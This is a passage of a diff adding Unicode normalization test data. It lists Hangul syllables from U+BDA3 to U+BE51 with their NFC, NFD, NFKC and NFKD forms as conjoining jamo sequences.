+{ source: [0xBDA3], NFC: [0xBDA3], NFD: [0x1107, 0x116F, 0x11AE], NFKC: [0xBDA3], NFKD: [0x1107, 0x116F, 0x11AE] },
+{ source: [0xBDA4], NFC: [0xBDA4], NFD: [0x1107, 0x116F, 0x11AF], NFKC: [0xBDA4], NFKD: [0x1107, 0x116F, 0x11AF] },
+{ source: [0xBDA5], NFC: [0xBDA5], NFD: [0x1107, 0x116F, 0x11B0], NFKC: [0xBDA5], NFKD: [0x1107, 0x116F, 0x11B0] },
+{ source: [0xBDA6], NFC: [0xBDA6], NFD: [0x1107, 0x116F, 0x11B1], NFKC: [0xBDA6], NFKD: [0x1107, 0x116F, 0x11B1] },
+{ source: [0xBDA7], NFC: [0xBDA7], NFD: [0x1107, 0x116F, 0x11B2], NFKC: [0xBDA7], NFKD: [0x1107, 0x116F, 0x11B2] },
+{ source: [0xBDA8], NFC: [0xBDA8], NFD: [0x1107, 0x116F, 0x11B3], NFKC: [0xBDA8], NFKD: [0x1107, 0x116F, 0x11B3] },
+{ source: [0xBDA9], NFC: [0xBDA9], NFD: [0x1107, 0x116F, 0x11B4], NFKC: [0xBDA9], NFKD: [0x1107, 0x116F, 0x11B4] },
+{ source: [0xBDAA], NFC: [0xBDAA], NFD: [0x1107, 0x116F, 0x11B5], NFKC: [0xBDAA], NFKD: [0x1107, 0x116F, 0x11B5] },
+{ source: [0xBDAB], NFC: [0xBDAB], NFD: [0x1107, 0x116F, 0x11B6], NFKC: [0xBDAB], NFKD: [0x1107, 0x116F, 0x11B6] },
+{ source: [0xBDAC], NFC: [0xBDAC], NFD: [0x1107, 0x116F, 0x11B7], NFKC: [0xBDAC], NFKD: [0x1107, 0x116F, 0x11B7] },
+{ source: [0xBDAD], NFC: [0xBDAD], NFD: [0x1107, 0x116F, 0x11B8], NFKC: [0xBDAD], NFKD: [0x1107, 0x116F, 0x11B8] },
+{ source: [0xBDAE], NFC: [0xBDAE], NFD: [0x1107, 0x116F, 0x11B9], NFKC: [0xBDAE], NFKD: [0x1107, 0x116F, 0x11B9] },
+{ source: [0xBDAF], NFC: [0xBDAF], NFD: [0x1107, 0x116F, 0x11BA], NFKC: [0xBDAF], NFKD: [0x1107, 0x116F, 0x11BA] },
+{ source: [0xBDB0], NFC: [0xBDB0], NFD: [0x1107, 0x116F, 0x11BB], NFKC: [0xBDB0], NFKD: [0x1107, 0x116F, 0x11BB] },
+{ source: [0xBDB1], NFC: [0xBDB1], NFD: [0x1107, 0x116F, 0x11BC], NFKC: [0xBDB1], NFKD: [0x1107, 0x116F, 0x11BC] },
+{ source: [0xBDB2], NFC: [0xBDB2], NFD: [0x1107, 0x116F, 0x11BD], NFKC: [0xBDB2], NFKD: [0x1107, 0x116F, 0x11BD] },
+{ source: [0xBDB3], NFC: [0xBDB3], NFD: [0x1107, 0x116F, 0x11BE], NFKC: [0xBDB3], NFKD: [0x1107, 0x116F, 0x11BE] },
+{ source: [0xBDB4], NFC: [0xBDB4], NFD: [0x1107, 0x116F, 0x11BF], NFKC: [0xBDB4], NFKD: [0x1107, 0x116F, 0x11BF] },
+{ source: [0xBDB5], NFC: [0xBDB5], NFD: [0x1107, 0x116F, 0x11C0], NFKC: [0xBDB5], NFKD: [0x1107, 0x116F, 0x11C0] },
+{ source: [0xBDB6], NFC: [0xBDB6], NFD: [0x1107, 0x116F, 0x11C1], NFKC: [0xBDB6], NFKD: [0x1107, 0x116F, 0x11C1] },
+{ source: [0xBDB7], NFC: [0xBDB7], NFD: [0x1107, 0x116F, 0x11C2], NFKC: [0xBDB7], NFKD: [0x1107, 0x116F, 0x11C2] },
+{ source: [0xBDB8], NFC: [0xBDB8], NFD: [0x1107, 0x1170], NFKC: [0xBDB8], NFKD: [0x1107, 0x1170] },
+{ source: [0xBDB9], NFC: [0xBDB9], NFD: [0x1107, 0x1170, 0x11A8], NFKC: [0xBDB9], NFKD: [0x1107, 0x1170, 0x11A8] },
+{ source: [0xBDBA], NFC: [0xBDBA], NFD: [0x1107, 0x1170, 0x11A9], NFKC: [0xBDBA], NFKD: [0x1107, 0x1170, 0x11A9] },
+{ source: [0xBDBB], NFC: [0xBDBB], NFD: [0x1107, 0x1170, 0x11AA], NFKC: [0xBDBB], NFKD: [0x1107, 0x1170, 0x11AA] },
+{ source: [0xBDBC], NFC: [0xBDBC], NFD: [0x1107, 0x1170, 0x11AB], NFKC: [0xBDBC], NFKD: [0x1107, 0x1170, 0x11AB] },
+{ source: [0xBDBD], NFC: [0xBDBD], NFD: [0x1107, 0x1170, 0x11AC], NFKC: [0xBDBD], NFKD: [0x1107, 0x1170, 0x11AC] },
+{ source: [0xBDBE], NFC: [0xBDBE], NFD: [0x1107, 0x1170, 0x11AD], NFKC: [0xBDBE], NFKD: [0x1107, 0x1170, 0x11AD] },
+{ source: [0xBDBF], NFC: [0xBDBF], NFD: [0x1107, 0x1170, 0x11AE], NFKC: [0xBDBF], NFKD: [0x1107, 0x1170, 0x11AE] },
+{ source: [0xBDC0], NFC: [0xBDC0], NFD: [0x1107, 0x1170, 0x11AF], NFKC: [0xBDC0], NFKD: [0x1107, 0x1170, 0x11AF] },
+{ source: [0xBDC1], NFC: [0xBDC1], NFD: [0x1107, 0x1170, 0x11B0], NFKC: [0xBDC1], NFKD: [0x1107, 0x1170, 0x11B0] },
+{ source: [0xBDC2], NFC: [0xBDC2], NFD: [0x1107, 0x1170, 0x11B1], NFKC: [0xBDC2], NFKD: [0x1107, 0x1170, 0x11B1] },
+{ source: [0xBDC3], NFC: [0xBDC3], NFD: [0x1107, 0x1170, 0x11B2], NFKC: [0xBDC3], NFKD: [0x1107, 0x1170, 0x11B2] },
+{ source: [0xBDC4], NFC: [0xBDC4], NFD: [0x1107, 0x1170, 0x11B3], NFKC: [0xBDC4], NFKD: [0x1107, 0x1170, 0x11B3] },
+{ source: [0xBDC5], NFC: [0xBDC5], NFD: [0x1107, 0x1170, 0x11B4], NFKC: [0xBDC5], NFKD: [0x1107, 0x1170, 0x11B4] },
+{ source: [0xBDC6], NFC: [0xBDC6], NFD: [0x1107, 0x1170, 0x11B5], NFKC: [0xBDC6], NFKD: [0x1107, 0x1170, 0x11B5] },
+{ source: [0xBDC7], NFC: [0xBDC7], NFD: [0x1107, 0x1170, 0x11B6], NFKC: [0xBDC7], NFKD: [0x1107, 0x1170, 0x11B6] },
+{ source: [0xBDC8], NFC: [0xBDC8], NFD: [0x1107, 0x1170, 0x11B7], NFKC: [0xBDC8], NFKD: [0x1107, 0x1170, 0x11B7] },
+{ source: [0xBDC9], NFC: [0xBDC9], NFD: [0x1107, 0x1170, 0x11B8], NFKC: [0xBDC9], NFKD: [0x1107, 0x1170, 0x11B8] },
+{ source: [0xBDCA], NFC: [0xBDCA], NFD: [0x1107, 0x1170, 0x11B9], NFKC: [0xBDCA], NFKD: [0x1107, 0x1170, 0x11B9] },
+{ source: [0xBDCB], NFC: [0xBDCB], NFD: [0x1107, 0x1170, 0x11BA], NFKC: [0xBDCB], NFKD: [0x1107, 0x1170, 0x11BA] },
+{ source: [0xBDCC], NFC: [0xBDCC], NFD: [0x1107, 0x1170, 0x11BB], NFKC: [0xBDCC], NFKD: [0x1107, 0x1170, 0x11BB] },
+{ source: [0xBDCD], NFC: [0xBDCD], NFD: [0x1107, 0x1170, 0x11BC], NFKC: [0xBDCD], NFKD: [0x1107, 0x1170, 0x11BC] },
+{ source: [0xBDCE], NFC: [0xBDCE], NFD: [0x1107, 0x1170, 0x11BD], NFKC: [0xBDCE], NFKD: [0x1107, 0x1170, 0x11BD] },
+{ source: [0xBDCF], NFC: [0xBDCF], NFD: [0x1107, 0x1170, 0x11BE], NFKC: [0xBDCF], NFKD: [0x1107, 0x1170, 0x11BE] },
+{ source: [0xBDD0], NFC: [0xBDD0], NFD: [0x1107, 0x1170, 0x11BF], NFKC: [0xBDD0], NFKD: [0x1107, 0x1170, 0x11BF] },
+{ source: [0xBDD1], NFC: [0xBDD1], NFD: [0x1107, 0x1170, 0x11C0], NFKC: [0xBDD1], NFKD: [0x1107, 0x1170, 0x11C0] },
+{ source: [0xBDD2], NFC: [0xBDD2], NFD: [0x1107, 0x1170, 0x11C1], NFKC: [0xBDD2], NFKD: [0x1107, 0x1170, 0x11C1] },
+{ source: [0xBDD3], NFC: [0xBDD3], NFD: [0x1107, 0x1170, 0x11C2], NFKC: [0xBDD3], NFKD: [0x1107, 0x1170, 0x11C2] },
+{ source: [0xBDD4], NFC: [0xBDD4], NFD: [0x1107, 0x1171], NFKC: [0xBDD4], NFKD: [0x1107, 0x1171] },
+{ source: [0xBDD5], NFC: [0xBDD5], NFD: [0x1107, 0x1171, 0x11A8], NFKC: [0xBDD5], NFKD: [0x1107, 0x1171, 0x11A8] },
+{ source: [0xBDD6], NFC: [0xBDD6], NFD: [0x1107, 0x1171, 0x11A9], NFKC: [0xBDD6], NFKD: [0x1107, 0x1171, 0x11A9] },
+{ source: [0xBDD7], NFC: [0xBDD7], NFD: [0x1107, 0x1171, 0x11AA], NFKC: [0xBDD7], NFKD: [0x1107, 0x1171, 0x11AA] },
+{ source: [0xBDD8], NFC: [0xBDD8], NFD: [0x1107, 0x1171, 0x11AB], NFKC: [0xBDD8], NFKD: [0x1107, 0x1171, 0x11AB] },
+{ source: [0xBDD9], NFC: [0xBDD9], NFD: [0x1107, 0x1171, 0x11AC], NFKC: [0xBDD9], NFKD: [0x1107, 0x1171, 0x11AC] },
+{ source: [0xBDDA], NFC: [0xBDDA], NFD: [0x1107, 0x1171, 0x11AD], NFKC: [0xBDDA], NFKD: [0x1107, 0x1171, 0x11AD] },
+{ source: [0xBDDB], NFC: [0xBDDB], NFD: [0x1107, 0x1171, 0x11AE], NFKC: [0xBDDB], NFKD: [0x1107, 0x1171, 0x11AE] },
+{ source: [0xBDDC], NFC: [0xBDDC], NFD: [0x1107, 0x1171, 0x11AF], NFKC: [0xBDDC], NFKD: [0x1107, 0x1171, 0x11AF] },
+{ source: [0xBDDD], NFC: [0xBDDD], NFD: [0x1107, 0x1171, 0x11B0], NFKC: [0xBDDD], NFKD: [0x1107, 0x1171, 0x11B0] },
+{ source: [0xBDDE], NFC: [0xBDDE], NFD: [0x1107, 0x1171, 0x11B1], NFKC: [0xBDDE], NFKD: [0x1107, 0x1171, 0x11B1] },
+{ source: [0xBDDF], NFC: [0xBDDF], NFD: [0x1107, 0x1171, 0x11B2], NFKC: [0xBDDF], NFKD: [0x1107, 0x1171, 0x11B2] },
+{ source: [0xBDE0], NFC: [0xBDE0], NFD: [0x1107, 0x1171, 0x11B3], NFKC: [0xBDE0], NFKD: [0x1107, 0x1171, 0x11B3] },
+{ source: [0xBDE1], NFC: [0xBDE1], NFD: [0x1107, 0x1171, 0x11B4], NFKC: [0xBDE1], NFKD: [0x1107, 0x1171, 0x11B4] },
+{ source: [0xBDE2], NFC: [0xBDE2], NFD: [0x1107, 0x1171, 0x11B5], NFKC: [0xBDE2], NFKD: [0x1107, 0x1171, 0x11B5] },
+{ source: [0xBDE3], NFC: [0xBDE3], NFD: [0x1107, 0x1171, 0x11B6], NFKC: [0xBDE3], NFKD: [0x1107, 0x1171, 0x11B6] },
+{ source: [0xBDE4], NFC: [0xBDE4], NFD: [0x1107, 0x1171, 0x11B7], NFKC: [0xBDE4], NFKD: [0x1107, 0x1171, 0x11B7] },
+{ source: [0xBDE5], NFC: [0xBDE5], NFD: [0x1107, 0x1171, 0x11B8], NFKC: [0xBDE5], NFKD: [0x1107, 0x1171, 0x11B8] },
+{ source: [0xBDE6], NFC: [0xBDE6], NFD: [0x1107, 0x1171, 0x11B9], NFKC: [0xBDE6], NFKD: [0x1107, 0x1171, 0x11B9] },
+{ source: [0xBDE7], NFC: [0xBDE7], NFD: [0x1107, 0x1171, 0x11BA], NFKC: [0xBDE7], NFKD: [0x1107, 0x1171, 0x11BA] },
+{ source: [0xBDE8], NFC: [0xBDE8], NFD: [0x1107, 0x1171, 0x11BB], NFKC: [0xBDE8], NFKD: [0x1107, 0x1171, 0x11BB] },
+{ source: [0xBDE9], NFC: [0xBDE9], NFD: [0x1107, 0x1171, 0x11BC], NFKC: [0xBDE9], NFKD: [0x1107, 0x1171, 0x11BC] },
+{ source: [0xBDEA], NFC: [0xBDEA], NFD: [0x1107, 0x1171, 0x11BD], NFKC: [0xBDEA], NFKD: [0x1107, 0x1171, 0x11BD] },
+{ source: [0xBDEB], NFC: [0xBDEB], NFD: [0x1107, 0x1171, 0x11BE], NFKC: [0xBDEB], NFKD: [0x1107, 0x1171, 0x11BE] },
+{ source: [0xBDEC], NFC: [0xBDEC], NFD: [0x1107, 0x1171, 0x11BF], NFKC: [0xBDEC], NFKD: [0x1107, 0x1171, 0x11BF] },
+{ source: [0xBDED], NFC: [0xBDED], NFD: [0x1107, 0x1171, 0x11C0], NFKC: [0xBDED], NFKD: [0x1107, 0x1171, 0x11C0] },
+{ source: [0xBDEE], NFC: [0xBDEE], NFD: [0x1107, 0x1171, 0x11C1], NFKC: [0xBDEE], NFKD: [0x1107, 0x1171, 0x11C1] },
+{ source: [0xBDEF], NFC: [0xBDEF], NFD: [0x1107, 0x1171, 0x11C2], NFKC: [0xBDEF], NFKD: [0x1107, 0x1171, 0x11C2] },
+{ source: [0xBDF0], NFC: [0xBDF0], NFD: [0x1107, 0x1172], NFKC: [0xBDF0], NFKD: [0x1107, 0x1172] },
+{ source: [0xBDF1], NFC: [0xBDF1], NFD: [0x1107, 0x1172, 0x11A8], NFKC: [0xBDF1], NFKD: [0x1107, 0x1172, 0x11A8] },
+{ source: [0xBDF2], NFC: [0xBDF2], NFD: [0x1107, 0x1172, 0x11A9], NFKC: [0xBDF2], NFKD: [0x1107, 0x1172, 0x11A9] },
+{ source: [0xBDF3], NFC: [0xBDF3], NFD: [0x1107, 0x1172, 0x11AA], NFKC: [0xBDF3], NFKD: [0x1107, 0x1172, 0x11AA] },
+{ source: [0xBDF4], NFC: [0xBDF4], NFD: [0x1107, 0x1172, 0x11AB], NFKC: [0xBDF4], NFKD: [0x1107, 0x1172, 0x11AB] },
+{ source: [0xBDF5], NFC: [0xBDF5], NFD: [0x1107, 0x1172, 0x11AC], NFKC: [0xBDF5], NFKD: [0x1107, 0x1172, 0x11AC] },
+{ source: [0xBDF6], NFC: [0xBDF6], NFD: [0x1107, 0x1172, 0x11AD], NFKC: [0xBDF6], NFKD: [0x1107, 0x1172, 0x11AD] },
+{ source: [0xBDF7], NFC: [0xBDF7], NFD: [0x1107, 0x1172, 0x11AE], NFKC: [0xBDF7], NFKD: [0x1107, 0x1172, 0x11AE] },
+{ source: [0xBDF8], NFC: [0xBDF8], NFD: [0x1107, 0x1172, 0x11AF], NFKC: [0xBDF8], NFKD: [0x1107, 0x1172, 0x11AF] },
+{ source: [0xBDF9], NFC: [0xBDF9], NFD: [0x1107, 0x1172, 0x11B0], NFKC: [0xBDF9], NFKD: [0x1107, 0x1172, 0x11B0] },
+{ source: [0xBDFA], NFC: [0xBDFA], NFD: [0x1107, 0x1172, 0x11B1], NFKC: [0xBDFA], NFKD: [0x1107, 0x1172, 0x11B1] },
+{ source: [0xBDFB], NFC: [0xBDFB], NFD: [0x1107, 0x1172, 0x11B2], NFKC: [0xBDFB], NFKD: [0x1107, 0x1172, 0x11B2] },
+{ source: [0xBDFC], NFC: [0xBDFC], NFD: [0x1107, 0x1172, 0x11B3], NFKC: [0xBDFC], NFKD: [0x1107, 0x1172, 0x11B3] },
+{ source: [0xBDFD], NFC: [0xBDFD], NFD: [0x1107, 0x1172, 0x11B4], NFKC: [0xBDFD], NFKD: [0x1107, 0x1172, 0x11B4] },
+{ source: [0xBDFE], NFC: [0xBDFE], NFD: [0x1107, 0x1172, 0x11B5], NFKC: [0xBDFE], NFKD: [0x1107, 0x1172, 0x11B5] },
+{ source: [0xBDFF], NFC: [0xBDFF], NFD: [0x1107, 0x1172, 0x11B6], NFKC: [0xBDFF], NFKD: [0x1107, 0x1172, 0x11B6] },
+{ source: [0xBE00], NFC: [0xBE00], NFD: [0x1107, 0x1172, 0x11B7], NFKC: [0xBE00], NFKD: [0x1107, 0x1172, 0x11B7] },
+{ source: [0xBE01], NFC: [0xBE01], NFD: [0x1107, 0x1172, 0x11B8], NFKC: [0xBE01], NFKD: [0x1107, 0x1172, 0x11B8] },
+{ source: [0xBE02], NFC: [0xBE02], NFD: [0x1107, 0x1172, 0x11B9], NFKC: [0xBE02], NFKD: [0x1107, 0x1172, 0x11B9] },
+{ source: [0xBE03], NFC: [0xBE03], NFD: [0x1107, 0x1172, 0x11BA], NFKC: [0xBE03], NFKD: [0x1107, 0x1172, 0x11BA] },
+{ source: [0xBE04], NFC: [0xBE04], NFD: [0x1107, 0x1172, 0x11BB], NFKC: [0xBE04], NFKD: [0x1107, 0x1172, 0x11BB] },
+{ source: [0xBE05], NFC: [0xBE05], NFD: [0x1107, 0x1172, 0x11BC], NFKC: [0xBE05], NFKD: [0x1107, 0x1172, 0x11BC] },
+{ source: [0xBE06], NFC: [0xBE06], NFD: [0x1107, 0x1172, 0x11BD], NFKC: [0xBE06], NFKD: [0x1107, 0x1172, 0x11BD] },
+{ source: [0xBE07], NFC: [0xBE07], NFD: [0x1107, 0x1172, 0x11BE], NFKC: [0xBE07], NFKD: [0x1107, 0x1172, 0x11BE] },
+{ source: [0xBE08], NFC: [0xBE08], NFD: [0x1107, 0x1172, 0x11BF], NFKC: [0xBE08], NFKD: [0x1107, 0x1172, 0x11BF] },
+{ source: [0xBE09], NFC: [0xBE09], NFD: [0x1107, 0x1172, 0x11C0], NFKC: [0xBE09], NFKD: [0x1107, 0x1172, 0x11C0] },
+{ source: [0xBE0A], NFC: [0xBE0A], NFD: [0x1107, 0x1172, 0x11C1], NFKC: [0xBE0A], NFKD: [0x1107, 0x1172, 0x11C1] },
+{ source: [0xBE0B], NFC: [0xBE0B], NFD: [0x1107, 0x1172, 0x11C2], NFKC: [0xBE0B], NFKD: [0x1107, 0x1172, 0x11C2] },
+{ source: [0xBE0C], NFC: [0xBE0C], NFD: [0x1107, 0x1173], NFKC: [0xBE0C], NFKD: [0x1107, 0x1173] },
+{ source: [0xBE0D], NFC: [0xBE0D], NFD: [0x1107, 0x1173, 0x11A8], NFKC: [0xBE0D], NFKD: [0x1107, 0x1173, 0x11A8] },
+{ source: [0xBE0E], NFC: [0xBE0E], NFD: [0x1107, 0x1173, 0x11A9], NFKC: [0xBE0E], NFKD: [0x1107, 0x1173, 0x11A9] },
+{ source: [0xBE0F], NFC: [0xBE0F], NFD: [0x1107, 0x1173, 0x11AA], NFKC: [0xBE0F], NFKD: [0x1107, 0x1173, 0x11AA] },
+{ source: [0xBE10], NFC: [0xBE10], NFD: [0x1107, 0x1173, 0x11AB], NFKC: [0xBE10], NFKD: [0x1107, 0x1173, 0x11AB] },
+{ source: [0xBE11], NFC: [0xBE11], NFD: [0x1107, 0x1173, 0x11AC], NFKC: [0xBE11], NFKD: [0x1107, 0x1173, 0x11AC] },
+{ source: [0xBE12], NFC: [0xBE12], NFD: [0x1107, 0x1173, 0x11AD], NFKC: [0xBE12], NFKD: [0x1107, 0x1173, 0x11AD] },
+{ source: [0xBE13], NFC: [0xBE13], NFD: [0x1107, 0x1173, 0x11AE], NFKC: [0xBE13], NFKD: [0x1107, 0x1173, 0x11AE] },
+{ source: [0xBE14], NFC: [0xBE14], NFD: [0x1107, 0x1173, 0x11AF], NFKC: [0xBE14], NFKD: [0x1107, 0x1173, 0x11AF] },
+{ source: [0xBE15], NFC: [0xBE15], NFD: [0x1107, 0x1173, 0x11B0], NFKC: [0xBE15], NFKD: [0x1107, 0x1173, 0x11B0] },
+{ source: [0xBE16], NFC: [0xBE16], NFD: [0x1107, 0x1173, 0x11B1], NFKC: [0xBE16], NFKD: [0x1107, 0x1173, 0x11B1] },
+{ source: [0xBE17], NFC: [0xBE17], NFD: [0x1107, 0x1173, 0x11B2], NFKC: [0xBE17], NFKD: [0x1107, 0x1173, 0x11B2] },
+{ source: [0xBE18], NFC: [0xBE18], NFD: [0x1107, 0x1173, 0x11B3], NFKC: [0xBE18], NFKD: [0x1107, 0x1173, 0x11B3] },
+{ source: [0xBE19], NFC: [0xBE19], NFD: [0x1107, 0x1173, 0x11B4], NFKC: [0xBE19], NFKD: [0x1107, 0x1173, 0x11B4] },
+{ source: [0xBE1A], NFC: [0xBE1A], NFD: [0x1107, 0x1173, 0x11B5], NFKC: [0xBE1A], NFKD: [0x1107, 0x1173, 0x11B5] },
+{ source: [0xBE1B], NFC: [0xBE1B], NFD: [0x1107, 0x1173, 0x11B6], NFKC: [0xBE1B], NFKD: [0x1107, 0x1173, 0x11B6] },
+{ source: [0xBE1C], NFC: [0xBE1C], NFD: [0x1107, 0x1173, 0x11B7], NFKC: [0xBE1C], NFKD: [0x1107, 0x1173, 0x11B7] },
+{ source: [0xBE1D], NFC: [0xBE1D], NFD: [0x1107, 0x1173, 0x11B8], NFKC: [0xBE1D], NFKD: [0x1107, 0x1173, 0x11B8] },
+{ source: [0xBE1E], NFC: [0xBE1E], NFD: [0x1107, 0x1173, 0x11B9], NFKC: [0xBE1E], NFKD: [0x1107, 0x1173, 0x11B9] },
+{ source: [0xBE1F], NFC: [0xBE1F], NFD: [0x1107, 0x1173, 0x11BA], NFKC: [0xBE1F], NFKD: [0x1107, 0x1173, 0x11BA] },
+{ source: [0xBE20], NFC: [0xBE20], NFD: [0x1107, 0x1173, 0x11BB], NFKC: [0xBE20], NFKD: [0x1107, 0x1173, 0x11BB] },
+{ source: [0xBE21], NFC: [0xBE21], NFD: [0x1107, 0x1173, 0x11BC], NFKC: [0xBE21], NFKD: [0x1107, 0x1173, 0x11BC] },
+{ source: [0xBE22], NFC: [0xBE22], NFD: [0x1107, 0x1173, 0x11BD], NFKC: [0xBE22], NFKD: [0x1107, 0x1173, 0x11BD] },
+{ source: [0xBE23], NFC: [0xBE23], NFD: [0x1107, 0x1173, 0x11BE], NFKC: [0xBE23], NFKD: [0x1107, 0x1173, 0x11BE] },
+{ source: [0xBE24], NFC: [0xBE24], NFD: [0x1107, 0x1173, 0x11BF], NFKC: [0xBE24], NFKD: [0x1107, 0x1173, 0x11BF] },
+{ source: [0xBE25], NFC: [0xBE25], NFD: [0x1107, 0x1173, 0x11C0], NFKC: [0xBE25], NFKD: [0x1107, 0x1173, 0x11C0] },
+{ source: [0xBE26], NFC: [0xBE26], NFD: [0x1107, 0x1173, 0x11C1], NFKC: [0xBE26], NFKD: [0x1107, 0x1173, 0x11C1] },
+{ source: [0xBE27], NFC: [0xBE27], NFD: [0x1107, 0x1173, 0x11C2], NFKC: [0xBE27], NFKD: [0x1107, 0x1173, 0x11C2] },
+{ source: [0xBE28], NFC: [0xBE28], NFD: [0x1107, 0x1174], NFKC: [0xBE28], NFKD: [0x1107, 0x1174] },
+{ source: [0xBE29], NFC: [0xBE29], NFD: [0x1107, 0x1174, 0x11A8], NFKC: [0xBE29], NFKD: [0x1107, 0x1174, 0x11A8] },
+{ source: [0xBE2A], NFC: [0xBE2A], NFD: [0x1107, 0x1174, 0x11A9], NFKC: [0xBE2A], NFKD: [0x1107, 0x1174, 0x11A9] },
+{ source: [0xBE2B], NFC: [0xBE2B], NFD: [0x1107, 0x1174, 0x11AA], NFKC: [0xBE2B], NFKD: [0x1107, 0x1174, 0x11AA] },
+{ source: [0xBE2C], NFC: [0xBE2C], NFD: [0x1107, 0x1174, 0x11AB], NFKC: [0xBE2C], NFKD: [0x1107, 0x1174, 0x11AB] },
+{ source: [0xBE2D], NFC: [0xBE2D], NFD: [0x1107, 0x1174, 0x11AC], NFKC: [0xBE2D], NFKD: [0x1107, 0x1174, 0x11AC] },
+{ source: [0xBE2E], NFC: [0xBE2E], NFD: [0x1107, 0x1174, 0x11AD], NFKC: [0xBE2E], NFKD: [0x1107, 0x1174, 0x11AD] },
+{ source: [0xBE2F], NFC: [0xBE2F], NFD: [0x1107, 0x1174, 0x11AE], NFKC: [0xBE2F], NFKD: [0x1107, 0x1174, 0x11AE] },
+{ source: [0xBE30], NFC: [0xBE30], NFD: [0x1107, 0x1174, 0x11AF], NFKC: [0xBE30], NFKD: [0x1107, 0x1174, 0x11AF] },
+{ source: [0xBE31], NFC: [0xBE31], NFD: [0x1107, 0x1174, 0x11B0], NFKC: [0xBE31], NFKD: [0x1107, 0x1174, 0x11B0] },
+{ source: [0xBE32], NFC: [0xBE32], NFD: [0x1107, 0x1174, 0x11B1], NFKC: [0xBE32], NFKD: [0x1107, 0x1174, 0x11B1] },
+{ source: [0xBE33], NFC: [0xBE33], NFD: [0x1107, 0x1174, 0x11B2], NFKC: [0xBE33], NFKD: [0x1107, 0x1174, 0x11B2] },
+{ source: [0xBE34], NFC: [0xBE34], NFD: [0x1107, 0x1174, 0x11B3], NFKC: [0xBE34], NFKD: [0x1107, 0x1174, 0x11B3] },
+{ source: [0xBE35], NFC: [0xBE35], NFD: [0x1107, 0x1174, 0x11B4], NFKC: [0xBE35], NFKD: [0x1107, 0x1174, 0x11B4] },
+{ source: [0xBE36], NFC: [0xBE36], NFD: [0x1107, 0x1174, 0x11B5], NFKC: [0xBE36], NFKD: [0x1107, 0x1174, 0x11B5] },
+{ source: [0xBE37], NFC: [0xBE37], NFD: [0x1107, 0x1174, 0x11B6], NFKC: [0xBE37], NFKD: [0x1107, 0x1174, 0x11B6] },
+{ source: [0xBE38], NFC: [0xBE38], NFD: [0x1107, 0x1174, 0x11B7], NFKC: [0xBE38], NFKD: [0x1107, 0x1174, 0x11B7] },
+{ source: [0xBE39], NFC: [0xBE39], NFD: [0x1107, 0x1174, 0x11B8], NFKC: [0xBE39], NFKD: [0x1107, 0x1174, 0x11B8] },
+{ source: [0xBE3A], NFC: [0xBE3A], NFD: [0x1107, 0x1174, 0x11B9], NFKC: [0xBE3A], NFKD: [0x1107, 0x1174, 0x11B9] },
+{ source: [0xBE3B], NFC: [0xBE3B], NFD: [0x1107, 0x1174, 0x11BA], NFKC: [0xBE3B], NFKD: [0x1107, 0x1174, 0x11BA] },
+{ source: [0xBE3C], NFC: [0xBE3C], NFD: [0x1107, 0x1174, 0x11BB], NFKC: [0xBE3C], NFKD: [0x1107, 0x1174, 0x11BB] },
+{ source: [0xBE3D], NFC: [0xBE3D], NFD: [0x1107, 0x1174, 0x11BC], NFKC: [0xBE3D], NFKD: [0x1107, 0x1174, 0x11BC] },
+{ source: [0xBE3E], NFC: [0xBE3E], NFD: [0x1107, 0x1174, 0x11BD], NFKC: [0xBE3E], NFKD: [0x1107, 0x1174, 0x11BD] },
+{ source: [0xBE3F], NFC: [0xBE3F], NFD: [0x1107, 0x1174, 0x11BE], NFKC: [0xBE3F], NFKD: [0x1107, 0x1174, 0x11BE] },
+{ source: [0xBE40], NFC: [0xBE40], NFD: [0x1107, 0x1174, 0x11BF], NFKC: [0xBE40], NFKD: [0x1107, 0x1174, 0x11BF] },
+{ source: [0xBE41], NFC: [0xBE41], NFD: [0x1107, 0x1174, 0x11C0], NFKC: [0xBE41], NFKD: [0x1107, 0x1174, 0x11C0] },
+{ source: [0xBE42], NFC: [0xBE42], NFD: [0x1107, 0x1174, 0x11C1], NFKC: [0xBE42], NFKD: [0x1107, 0x1174, 0x11C1] },
+{ source: [0xBE43], NFC: [0xBE43], NFD: [0x1107, 0x1174, 0x11C2], NFKC: [0xBE43], NFKD: [0x1107, 0x1174, 0x11C2] },
+{ source: [0xBE44], NFC: [0xBE44], NFD: [0x1107, 0x1175], NFKC: [0xBE44], NFKD: [0x1107, 0x1175] },
+{ source: [0xBE45], NFC: [0xBE45], NFD: [0x1107, 0x1175, 0x11A8], NFKC: [0xBE45], NFKD: [0x1107, 0x1175, 0x11A8] },
+{ source: [0xBE46], NFC: [0xBE46], NFD: [0x1107, 0x1175, 0x11A9], NFKC: [0xBE46], NFKD: [0x1107, 0x1175, 0x11A9] },
+{ source: [0xBE47], NFC: [0xBE47], NFD: [0x1107, 0x1175, 0x11AA], NFKC: [0xBE47], NFKD: [0x1107, 0x1175, 0x11AA] },
+{ source: [0xBE48], NFC: [0xBE48], NFD: [0x1107, 0x1175, 0x11AB], NFKC: [0xBE48], NFKD: [0x1107, 0x1175, 0x11AB] },
+{ source: [0xBE49], NFC: [0xBE49], NFD: [0x1107, 0x1175, 0x11AC], NFKC: [0xBE49], NFKD: [0x1107, 0x1175, 0x11AC] },
+{ source: [0xBE4A], NFC: [0xBE4A], NFD: [0x1107, 0x1175, 0x11AD], NFKC: [0xBE4A], NFKD: [0x1107, 0x1175, 0x11AD] },
+{ source: [0xBE4B], NFC: [0xBE4B], NFD: [0x1107, 0x1175, 0x11AE], NFKC: [0xBE4B], NFKD: [0x1107, 0x1175, 0x11AE] },
+{ source: [0xBE4C], NFC: [0xBE4C], NFD: [0x1107, 0x1175, 0x11AF], NFKC: [0xBE4C], NFKD: [0x1107, 0x1175, 0x11AF] },
+{ source: [0xBE4D], NFC: [0xBE4D], NFD: [0x1107, 0x1175, 0x11B0], NFKC: [0xBE4D], NFKD: [0x1107, 0x1175, 0x11B0] },
+{ source: [0xBE4E], NFC: [0xBE4E], NFD: [0x1107, 0x1175, 0x11B1], NFKC: [0xBE4E], NFKD: [0x1107, 0x1175, 0x11B1] },
+{ source: [0xBE4F], NFC: [0xBE4F], NFD: [0x1107, 0x1175, 0x11B2], NFKC: [0xBE4F], NFKD: [0x1107, 0x1175, 0x11B2] },
+{ source: [0xBE50], NFC: [0xBE50], NFD: [0x1107, 0x1175, 0x11B3], NFKC: [0xBE50], NFKD: [0x1107, 0x1175, 0x11B3] },
+{ source: [0xBE51], NFC: [0xBE51], NFD: [0x1107, 0x1175, 0x11B4], NFKC: [0xBE51], NFKD: [0x1107, 0x1175, 0x11B4] },
